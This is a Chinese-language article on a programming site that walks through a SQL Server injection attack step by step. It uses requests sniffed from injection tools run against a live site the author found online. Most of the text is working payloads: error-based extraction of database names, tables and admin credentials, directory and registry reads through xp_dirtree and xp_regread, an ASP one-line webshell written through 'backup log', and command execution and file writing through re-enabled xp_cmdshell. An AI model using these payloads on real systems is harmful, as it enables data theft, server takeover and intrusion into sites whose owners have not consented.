程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> 更多數據庫知識 >> 實戰:全面了解SQLServer注入過程

實戰:全面了解SQLServer注入過程

編輯:更多數據庫知識

想了解sql注入的過程和原理,網上找了些文章,講得都比較膚淺,但是我知道有幾款國內比較常用的注入工具,比如Domain3.5、NBSI3.0、啊D2.32、還有Pangolin、還有一些國外的。這裡隨便弄幾個來研究一下就ok。這次用到的嗅探工具是sniffx專門嗅探http的數據包,功能不強大,但是足夠這次活動的使用。本來想使用ethereal或wireshark,但是裡面復制數據包內容老是把沒有轉碼的16進制也復制了過來,有點麻煩。也就是說這兩個工具用得不娴熟。

【查詢數據庫信息】

本地沒有找到好點的有注入漏洞的系統,只好在網上尋找了,先用Domain3.5,運行很好以來就找到個sqlserver,sa權限的注入點,點Domain3.5上面的“開始檢測”

domain3.5_inj

以下是Domain3.5中嗅探出來的http數據包:
news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)=1

以下是NBSI3.0中嗅探出來的http數據包:
news_show.asp?id=15618%20and%20user%2Bchar(124)=0
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–

啊D和Pangolin的數據包這裡就不列出來了,都差不多。基本的過程是通過and 1=1和and 1=2來判斷是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然後and exists(select * from sysobjects)來判斷數據庫類型,sysobjects是sqlserver每個數據庫自帶的用來存儲數據庫信息的表格,access每個數據庫自帶的表格是msysobjects。判斷出來是sqlserver數據庫之後,然後用系統自帶的變量user,system_user和0比較,system_user是nchar類型,user是char類型,0是肯定是int類型,因為不同類型的數據在sqlserver中無法直接比較,所以對於開啟錯誤提示的sqlserver來說就會報錯,順便將敏感信息也暴了出來:

sql_inj_system_user

關於user,system_user的解釋,點上面的鏈接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1cast()作用是將一種數據類型的表達式顯式轉換為另一種數據類型的表達式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登錄名是否為指定固定服務器角色的成員,返回值類型為int,0表示不是某某成員,1表示是。0×730079007300610064006D0069006E00是’sysadmin’的16進制碼,為啥要弄成16進制呢,我猜想可能是怕網站程序過濾點sysadmin關鍵字,如果頁面正常返回(200),則表示該用戶是sysadmin。精心將int轉換成nvarchar(1)又會暴出類型轉換錯誤,而這就是黑客所需要的信息。db_name()回暴出當前數據庫名。
;declare%20@a%20int–申明一個int變量a,作用我不得而知。

接下來的工作是列出服務器上的數據庫名:(假設服務器上有16個數據庫)

  1. news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
  2. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
  3. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
  4. news_show.asp?id=15618 And (Select Top 1 cast([name] as nvarchar(4000))%2Bchar(124) from(Select Top 16 dbid,name from [master].[dbo].[sysdatabases] order by [dbid]) T order by [dbid] desc)>0

先列出上面UrlEncode的字符
%2B — ‘+’
%3E — ‘>’
%20 — ‘ ‘
%2F — ‘/’

我只能說這些sql語句構造得是相當的巧妙啊,我開始納悶了,為啥非要用子查詢呢。於是我直接用
Select Top X dbid,name from [master].[dbo].[sysdatabases] order by [dbid]
當X為1,也就是返回第一個的時候,是沒有問題的,返回了master,但是X為2的時候就出現錯誤:
子查詢返回的值多於一個。當子查詢跟隨在 =、!=、<、<=、>、>= 之後,或子查詢用作表達式時,這種情況是不允許的。
這個時候子查詢就起到了關鍵作用。還有開始不知道T是啥玩意,後來才知道sqlserver子查詢必須要起一個別名,T就是那個別名,然後把查詢的語句繼續和0比較報錯 這樣就暴出了所有的數據庫名。
第一個select count(1)返回數據庫數量。

接下來是猜解表名,假設我們當前的數據庫是news,那麼首先猜解數據庫的表的數量:
news_show.asp?id=15618 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0×55)>0
xtype的為數據表類型,0×55就是U,就是用戶表。其他的參見這裡有詳細的解釋。

然後分別列出表名:
news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0×55 order by id) T order by id desc)>0
修改第二個Top 1為1到表數就可以了。

然後是猜解列名,假設要猜解的表為Admin,首先得到表在sysobjects中存儲的唯一id:
news_show.asp?id=15618 And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name=’Admin‘)>0

猜解表名,id就是上面查詢出來Admin表的id。
news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id = 1993058136 Order by colid) T Order by colid desc)>0

假設猜解出來的列名有id,AdminName,AdminPassword,AdminPower,Userid,ct
假設只猜解AdminName和AdminPassword的值
首先查看Admin表有多少條記錄:
news_show.asp?id=15618 And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0

返回第一列數據:
news_show.asp?id=15618 And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32)) char(124) isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassword] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0
isNull是判定數據是否為空,為空就返回後面那個char(32)的值也就是空格->‘ ’ 。
後面的以此類推。

【讀取目錄—-xp_dirtree】

drop掉表,然後在當前數據庫創建一個表,有三個字段subdirectory,depth,file
Board.asp?id=494;DROP TABLE techguru;CREATE TABLE techguru(subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)–

清空表的數據,然後把xp_dirtree存儲過程的結果存入techguru表,xp_dirtree第一個參數是路徑,第二個是深度,為0時無限遞歸,第三個是文件類型,1為文件夾和文件,0為只顯示文件夾。
Board.asp?id=494;DELETE techguru;Insert techguru exec master..xp_dirtree ‘c:\’,1,1–

開始一個一個的抓取文件,目錄名字,每次增加第二個top後面的數
Board.asp?id=494 And (Select Top 1 cast([subdirectory] as nvarchar(400))%2Bchar(124)%2Bcast([file] as nvarchar(1))%2Bchar(124) From(Select Top 1 [subdirectory],[file] From techguru ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0

移除表:
Board.asp?id=494;DROP TABLE techguru–

【讀取注冊表—-xp_regread】

首先建立一個表,有兩列Value和Data
Board.asp?id=494;DROP TABLE [techguru];CREATE TABLE [techguru](Value nvarchar(4000) NULL,Data nvarchar(4000) NULL)–

執行xp_regread寫入剛建立的表
Board.asp?id=494;DELETE [techguru];Insert [techguru] exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’–

讀出來
Board.asp?id=494 And (Select Top 1 cast([Data] as nvarchar(4000))%2Bchar(124) From [techguru] order by [Data] desc)=0

刪表
Board.asp?id=494;DROP TABLE [techguru]–

【上傳webshell—-backup log xx to disk】

備份log,截斷1,截斷2
第 一 步:建立存一句話木馬的表
Board.asp?id=494;create table [dbo].[shit_tmp] ([cmd] [image])–
第 二 步:0×7900690061006F006C007500是‘yiaolu’的sql編碼
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate–
第 三 步:0×3C25657865637574652872657175657374282261222929253E是<%execute(request(”a”))%>的hex。
Board.asp?id=494;insert into [shit_tmp](cmd) values
(0×3C25657865637574652872657175657374282261222929253E)–
第 四 步0×64003A005C003100320033002E00610073007000是d:\123.asp的sql編碼
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate–
第 五 步
Board.asp?id=494;Drop table [shit_tmp]–

【執行命令】

;CREATE TABLE [X_2894]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);
insert into [X_2894](ResultTxt) exec master.dbo.xp_cmdshell ‘Dir C:\’;
insert into [X_2894] values (’g_over’);exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

……

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 23 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

g_over這個是專門插入用來作為命令回顯結束的標志。

;DROP TABLE [X_2894];–

【本地文件上傳】

假設上傳到服務器c:\down.vbs位置

;exec master.dbo.xp_cmdshell ‘del C:\down.vbs’–

;exec master.dbo.xp_cmdshell ‘ecHo [DeleteOnCopy] >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo Owner=Administrator >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo Personalized=5 >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo PersonalizedName=My Documents >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

總結來說就是調用xp_cmdshell執行echo 一句句的寫入文件。

這次分析算是告一段落,不過還有mysql,access,oracle,db2,infomix……….等待探索。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved